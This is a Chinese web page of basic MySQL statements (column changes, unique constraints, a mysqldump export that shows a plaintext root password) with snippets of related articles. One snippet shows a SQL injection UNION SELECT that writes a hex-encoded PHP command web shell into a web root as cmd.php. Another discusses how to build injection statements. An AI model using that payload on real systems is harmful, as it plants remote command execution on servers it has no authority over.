mysql基本语句集合

一、概述

  1、删除字段

1 alter table  {table_name}  drop column {column_name};

  2、添加字段

alter table {table_name} Add column {column_name} {data type} DEFAULT NULL AFTER  {exists_column_name};

  3、修改字段

alter table ztgameuser change member title int(11) default 0 comment '0:员工, 1: 管理OT员, 2: 公司创建者';

 4、删除字段

1 alter table `user_movement_log` drop column Gatewayid  

 5、给已经建好的表加上唯一性约束

1 ALTER TABLE `t_user` ADD unique(`username`);

7、导出数据库结构

1 mysqldump -uroot -pcp123456 -d GaintZabbix > zabbix.sql 

 

 

时间: 2024-07-28 19:13:05

mysql基本语句集合的相关文章

MySQL实现嵌套集合模型

译文主要是介绍如何用MySQL来存储嵌套集合数据.在其中会增加一些自己的理解,也会删除掉一些自认为无用的废话. 这篇文章主要讲的是嵌套集合模型,所以邻接表不是本文的重点,简单略过就好. 也许这是原文地址,因为我也不知道这是不是原文. 介绍 什么是分层数据? 类似于树形结构,除了根节点和叶子节点外,所有节点都有用一个父节点和多个子节点. 那么,在MySQL中如何处理分层数据呢? 原文中介绍了两种分层结构模型:邻接表模型和嵌套集合模型. 邻接表模型(The Adjacency List Model)

加速MySQL SQL语句优化的一些命令方法

引言 优化SQL,是DBA常见的工作之一.如何高效.快速地优化一条语句,是每个DBA经常要面对的一个问题.在日常的优化工作中,我发现有很多操作是在优化过程中必不可少的步骤.然而这些步骤重复性的执行,又会耗费DBA很多精力.于是萌发了自己编写小工具,提高优化效率的想法. 那选择何种语言来开发工具呢? 对于一名DBA来说,掌握一门语言配合自己的工作是非常必要的.相对于shell的简单.perl的飘逸,Python是一种严谨的高级语言.其具备上手快.语法简单.扩展丰富.跨平台等多种优点.很多人把它称为

如何用一款小工具大大加速MySQL SQL语句优化(附源码)

作者介绍 韩锋,宜信技术研发中心数据库架构师.精通多种关系型数据库,曾任职于当当网.TOM在线等公司,曾任多家公司首席DBA.数据库架构师等职,多年一线数据库架构.设计.开发经验.著有<SQL优化最佳实践>一书.   引言   优化SQL,是DBA常见的工作之一.如何高效.快速地优化一条语句,是每个DBA经常要面对的一个问题.在日常的优化工作中,我发现有很多操作是在优化过程中必不可少的步骤.然而这些步骤重复性的执行,又会耗费DBA很多精力.于是萌发了自己编写小工具,提高优化效率的想法.   那

如何设计高效合理的MySQL查询语句_Mysql

MySQL查询语句大家都在用,但是应该如何设计高效合理的MySQL查询语句呢?下面就教您MySQL查询语句的合理设计方法,分享给大家学习学习. 1.合理使用索引 索引是数据库中重要的数据结构,它的根本目的就是为了提高查询效率.现在大多数的数据库产品都采用IBM最先提出的ISAM索引结构.索引的使用要恰到好处,其使用原则如下: ●在经常进行连接,但是没有指定为外键的列上建立索引,而不经常连接的字段则由优化器自动生成索引. ●在频繁进行排序或分组(即进行group by或order by操作)的列上

谈php+mysql注射语句构造

mysql|语句 由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助. 声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造. 二."漏洞"分析: 1.admin/login.php注射导致绕过身份验证漏洞: 代码: $co

通过Mysql的语句生成后门木马的方法

mysql|木马|语句 通过Mysql 的语句生成后门木马的方法! SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php' 通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/

MySQL准备语句:Prepared Statements

MySQL准备语句(Prepared Statements), 使用增强的二进制客户端/服务器协议在客户端和服务器之间高效的发送数据,可以通过支持这种行协议的编程库来访问准备语句. 创建准备语句时,客户端库会像服务器发送一个实际查询的原型,然后服务器对该原型进行解析和处理,将部分优化过的原型保存起来,并且给客户端返回一个状态句柄(State Handle) 客户端可以通过定义状态句柄重复的执行查询. 准备语句会比多次执行查询效率高很多,具体原因如下: 1.服务器只需要解析一次查询,这节约了解析和

设计高效合理的MySQL查询语句

从大多数系统的应用实例来看,查询操作在各种数据库操作中所占据的比重最大,而查询操作所基于的SELECT语句在SQL语句中又是代价最大的语句.举例来说,如果数据的量积累到一定的程度,比如一个银行的账户数据库表信息积累到上百万甚至上千万条记录,全表扫描一次往往需要数十分钟,甚至数小时.如果采用比全表扫描更好的查询策略,往往可以使查询时间降为几分钟,由此可见查询优化技术的重要性. 笔者在应用项目的实施中发现,许多程序员在利用一些前端数据库开发工具(如PowerBuilder.Delphi等)开发数据库

十四条实用的MySQL 查询语句

  1. 手动修改密码 某些情况下,我们忘记了管理员的密码.或者站点遭受攻击后,管理员密码被恶意修改了.这个时候,我们能做的就只有重新设置管理员的密码了. 以下查询语句,使用 MySQL 的 MD5() 函数将我们的密码进行 MD5 加密. UPDATE 'wp_users' SET 'user_pass' = MD5('PASSWORD') WHERE 'user_login' ='admin' LIMIT 1; 2. 批量转换日式的作者 大多数刚使用 WordPress 的人可能都是直接使用